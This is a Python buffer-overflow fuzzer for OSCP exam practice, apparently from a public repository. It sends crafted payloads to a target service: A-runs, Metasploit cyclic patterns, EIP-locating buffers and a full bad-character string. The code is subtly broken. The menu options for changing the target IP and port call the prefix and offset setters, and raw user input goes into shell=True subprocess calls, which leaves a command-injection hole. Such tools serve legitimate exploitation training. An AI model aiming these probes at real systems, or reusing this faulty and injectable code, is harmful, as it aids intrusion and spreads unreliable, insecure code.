/
bof_fuzzer.py
409 lines (360 loc) · 14.5 KB
/
bof_fuzzer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
#!/usr/bin/python3
import socket
import sys
import os
import subprocess
import argparse
#
# This tool was written for students taking the OSCP
# exam. It will make Buffer Overflow procedure easier
# and faster. Make sure you understand the procedure
# in order to be able to use this tool effectively.
#
# Author AceSineX - Website : https://bytesdeluge.com
#
#### Global Variables ####
ip = "127.0.0.1"
port = "1337"
size = 0
offset = 0
prefix = ""
## Defining Colors ##
cwhite = "\33[37m"
cblue = "\033[96m"
corange = "\33[33m"
cred = "\33[31m"
#### /Global Variables ####
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
#### ####
#### HouseKeeping ####
#### ####
## Welcome Message & Argument Parsing ##
def argpar():
global ip, port, size, offset, prefix
welcome = cblue + "Welcome to Aces BOF Fuzzer :)" + cwhite
parser = argparse.ArgumentParser(description=welcome)
parser.add_argument('-ip', help='Target ip', required=False)
parser.add_argument('-p', help='Target port', required=False, type=int)
parser.add_argument('-size', help='buffer size', required=False, type=int)
parser.add_argument('-offset', help='eip offset', required=False, type=int)
parser.add_argument('-prefix', help='command added before the bytes sent', required=False)
args = parser.parse_args()
if(args.ip):
ip = args.ip
if(args.p):
port = args.p
if(args.size):
size = args.size
if(args.offset):
offset = args.offset
if(args.prefix):
prefix = args.prefix
## Welcome Message
def welcome():
msg = "\n"+cblue+"*****************************\nWelcome to Aces BOF Fuzzer :)"+cwhite
print(msg)
##
## Mode 0 Configuration Display
def show_current_config():
global ip, port, size, offset, prefix
#Debug
print(cblue+"\n*****************************\n*****************************\n"+cwhite)
print(corange+"Your options:")
print(corange+"ip"+cwhite+" -> "+cred+ip)
print(corange+"port"+cwhite+" -> "+cred+str(port))
print(corange+"size"+cwhite+" -> "+cred+str(size))
print(corange+"offset"+cwhite+" -> "+cred+str(offset))
print(corange+"prefix"+cwhite+" -> "+cred+str(prefix)+cwhite)
## End of Mode 0
## Mode 1 Control Panel for Changing Configuration
def change_config():
while(1):
print(cblue+"\n*****************************\n*****************************\n"+cwhite)
print("CHANGING SETTINGS:")
print("MODE: "+cred+"0"+cwhite+" =>Change "+cred+"Buffer Size"+cwhite)
print("MODE: "+cred+"1"+cwhite+" =>Change "+cred+"eip Offset"+cwhite)
print("MODE: "+cred+"2"+cwhite+" =>Change "+cred+"Command Prefix"+cwhite)
print("MODE: "+cred+"3"+cwhite+" =>Change "+cred+"Target IP"+cwhite)
print("MODE: "+cred+"4"+cwhite+" =>Change "+cred+"Target Port"+cwhite)
print("MODE: "+cred+"5"+cwhite+" =>"+cred+"Back"+cwhite)
mode=int(input('ENTER MODE:'+corange))
if(mode == 0):
print()
inp=int(input(cwhite+'Enter new '+cred+'buffer'+cwhite+' size:'+corange))
change_size(inp)
print(cred+"Buffer Size"+cwhite+" was set to: "+cred+str(inp)+"\n")
elif(mode == 1):
print()
inp=int(input(cwhite+'Enter new '+cred+'offset'+cwhite+' size:'+corange))
change_offset(inp)
print(cred+"Offset"+cwhite+" was set to: "+cred+str(inp)+"\n")
elif(mode == 2):
print()
inp=str(input(cwhite+'Enter new '+cred+'Prefix:'+corange))
change_prefix(inp)
print(cred+"Prefix"+cwhite+" was set to: "+cred+inp+"\n")
elif(mode == 3):
print()
inp=str(input(cwhite+'Enter new '+cred+'IP:'+corange))
change_prefix(inp)
print(cred+"IP"+cwhite+" was set to: "+cred+inp+"\n")
elif(mode == 4):
print()
inp=int(input(cwhite+'Enter new '+cred+'Port:'+corange))
change_offset(inp)
print(cred+"Port"+cwhite+" was set to: "+cred+str(inp)+"\n")
elif(mode == 5):
break
## End of Mode 1
## Setters for Configuration
def change_size(inp):
global size
size = inp
def change_offset(inp):
global offset
offset = inp
def change_prefix(inp):
global prefix
prefix = inp
def change_ip(inp):
global ip
ip = inp
def change_port(inp):
global port
port = inp
## End of Setters
## Mode 2 Send bytes for fuzzing overflow
def send_bytes():
global ip, port, size, offset, prefix
while(1):
print(cblue+"\n*****************************\n*****************************\n"+cwhite)
print(cred+"MODE"+cwhite+"=> "+cred+" Send Bytes"+cwhite)
print("Enter below how many "+cred+"bytes"+cwhite+" to "+cred+"send"+cwhite)
size=int(input('>Bytes:'+corange))
try:
if(prefix != ""):
buffer = prefix
buffer += size * "A"
else:
buffer = size * "A"
print(cwhite+"\nSending A's buffer with "+cred+str(size)+" bytes! "+cblue+"Sending..."+cwhite)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
print(buffer)
s.send(buffer.encode())# Without .encode() it sends str, and it only works with python2
s.close()
print (cred+"Sent!"+cwhite)
except socket.error as msg:
print (cred+"\nCould not connect! "+cwhite+"Check "+cred+"IP"+cwhite+" and "+cred+"Port"+cwhite+" again")
print(msg)
sys.exit()
ans=str(input(cwhite+"\nRetry?["+corange+"Y/n"+cwhite+"]: "+corange))
if(ans == "N" or ans == "n"):
break
## End of Mode 2
## Mode 3 Send Pattern
def find_pattern():
global ip, port, size, offset, prefix
print(cblue+"\n*****************************\n*****************************\n"+cwhite)
print(cred+"MODE"+cwhite+"=> "+cred+" Msf-pattern_create"+cwhite)
if(size == 0):
size=int(input("Enter size of buffer:"+corange))
print (cwhite+"Creating msfpattern with size of "+cred+str(size)+cwhite)
try:
if(prefix != ""):
buffer = prefix.encode()
buf2 = subprocess.check_output("msf-pattern_create -l " + str(size), shell=True)
buffer += buf2
else:
buffer = subprocess.check_output("msf-pattern_create -l " + str(size), shell=True)
print(cwhite+"\nSending pattern with "+cred+str(size)+" bytes! "+cblue+"Sending..."+cwhite)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
print(buffer)
s.send(buffer)# Without .encode() it sends str, and it only works with python2
s.close()
print (cred+"Sent!"+cwhite)
except socket.error as msg:
print (cred+"\nCould not connect! "+cwhite+"Check "+cred+"IP"+cwhite+" and "+cred+"Port"+cwhite+" again")
print(msg)
sys.exit()
## End of Mode 3
## Mode 4 Find Offset
def find_offset():
global ip, port, size, offset, prefix
print(cblue+"\n*****************************\n*****************************\n"+cwhite)
print(cred+"MODE"+cwhite+"=> "+cred+" Find offset"+cwhite)
if(size == 0):
print()
size=int(input("Enter size of buffer:"+corange))
eip = input(cwhite+"EIP Bytes:"+corange)
print(cwhite)
output = subprocess.check_output("msf-pattern_offset -l " + str(size) + " -q " + eip, shell=True)
print(cblue+str(output)+cwhite)#DEBUGGING
offset = int(output.split()[5])
print(cred+str(offset)+cwhite)#DEBUGGING
## End of Mode 4
## Mode 5 Checking where the overflow happens
def aabbcc():
global ip, port, size, offset, prefix
print(cblue+"\n*****************************\n*****************************\n"+cwhite)
print(cred+"MODE"+cwhite+"=> "+cred+" A..ABBBC..C"+cwhite)
if(size == 0):
print()
size=int(input("Enter size of buffer:"+corange))
print(cwhite)
if(offset == 0):
offset=int(input("Enter offset:"+corange))
print(cwhite, end ='')
try:
if(prefix != ""):
buffer = prefix
buffer += offset * "A"
buffer += "BBBB"
buffer += (size - offset -4) * "C"
buffer = buffer.encode()
else:
buffer = offset * "A"
buffer += "BBBB"
buffer += (size - offset -4) * "C"
buffer = buffer.encode()
print(cwhite+"\nSending "+cred+"A..ABBBC..C"+cwhite+" buffer with "+cred+str(size)+" bytes! "+cblue+"Sending..."+cwhite)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
print(buffer)
s.send(buffer)# Without .encode() it sends str, and it only works with python2
s.close()
print (cred+"Sent!"+cwhite)
except socket.error as msg:
print (cred+"\nCould not connect! "+cwhite+"Check "+cred+"IP"+cwhite+" and "+cred+"Port"+cwhite+" again")
print(msg)
sys.exit()
## End of Mode 5
## Mode 6 Bad Characters
def bad_check():
global ip, port, size, offset, prefix
print(cblue+"\n*****************************\n*****************************\n"+cwhite)
print(cred+"MODE"+cwhite+"=> "+cred+" A..ABBBC..C"+cwhite)
if(size == 0):
print()
size=int(input("Enter size of buffer:"+corange))
print(cwhite)
if(offset == 0):
offset=int(input("Enter offset:"+corange))
print(cwhite)
print("Choose where to place the badcharacters:")
print(cred+"Important! Make sure there is enough space, \nbecause this script is not doing any checks"+cwhite)
print(cred+"Always Use Method 1. If Method 0 is used \nsome bad characters might break the chain, \nthus messing the eip position"+cwhite)
print("MODE: "+cred+"0"+cwhite+" =>Start of buffer")
print("MODE: "+cred+"1"+cwhite+" =>After EIP")
abcoffset=int(input('>Selection: '+corange))
## Start of Buffer
if(abcoffset == 0):
if(prefix != ""):
buffer = prefix.encode()
buffer += badchars
buffer += (offset - len(badchars)) * b"\x41"
buffer += b"\x42\x42\x42\x42"
buffer += ((size - offset - 4) * b"\x43")
#buffer = buffer.encode()
else:
buffer = badchars
buffer += (offset - len(badchars)) * b"\x41"
buffer += b"\x42\x42\x42\x42"
buffer += (size - offset - 4) * b"\x43"
#buffer = buffer.encode()
## After EIP
elif(abcoffset == 1):
if(prefix != ""):
buffer = prefix.encode()
buffer += offset * b"\x41"
buffer += b"\x42\x42\x42\x42"
buffer += badchars
buffer += (size - offset - 4 - len(badchars)) * b"\x43"
#buffer = buffer.encode()
else:
buffer = offset * b"\x41"
buffer += b"\x42\x42\x42\x42"
buffer += badchars
buffer += (size - offset -4 - len(badchars)) * b"\x43"
#buffer = buffer.encode()
## Defaulting to Start
else:
print("Invalid selection, defaulting to "+cred+"After EIP"+cwhite)
if(prefix != ""):
buffer = prefix.encode()
buffer += offset * b"\x41"
buffer += b"\x42\x42\x42\x42"
buffer += badchars
buffer += (size - offset - 4 - len(badchars)) * b"\x43"
#buffer = buffer.encode()
else:
buffer = offset * b"\x41"
buffer += b"\x42\x42\x42\x42"
buffer += badchars
buffer += (size - offset -4 - len(badchars)) * b"\x43"
buffer = buffer.encode()
try:
print(cwhite+"\nSending "+cred+"A..ABBBC..C"+cwhite+" buffer with "+cred+str(size)+" bytes! "+cblue+"Sending..."+cwhite)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
print(buffer)
s.send(buffer)# Without .encode() it sends str, and it only works with python2
s.close()
print (cred+"Sent!"+cwhite)
except socket.error as msg:
print (cred+"\nCould not connect! "+cwhite+"Check "+cred+"IP"+cwhite+" and "+cred+"Port"+cwhite+" again")
print(msg)
sys.exit()
## End of Mode 6
## Main Control Panel
def control():
while(1):
print(cblue+"\n*****************************\n*****************************\n"+cwhite)
print("Select MODE:")
print("MODE: "+cred+"0"+cwhite+" =>Show current configuration")
print("MODE: "+cred+"1"+cwhite+" =>Change current configuration")
print("MODE: "+cred+"2"+cwhite+" =>Send X bytes")
print("MODE: "+cred+"3"+cwhite+" =>Create msfpattern with "+cred+str(size)+" bytes"+cwhite+" and Send it")
print("MODE: "+cred+"4"+cwhite+" =>Find offset by providing eip")
print("MODE: "+cred+"5"+cwhite+" =>Send A..ABBBBC..C Buffer")
print("MODE: "+cred+"6"+cwhite+" =>Check Bad Characters")
mode=int(input('ENTER MODE:'+corange))
if(mode == 0):
show_current_config()
elif(mode == 1):
change_config()
elif(mode == 2):
send_bytes()
elif(mode == 3):
find_pattern()
elif(mode == 4):
find_offset()
elif(mode == 5):
aabbcc()
elif(mode == 6):
bad_check()
def Main():
global ip, port, size, offset, prefix
argpar()
welcome()
show_current_config()
control()
if __name__ == '__main__':
Main()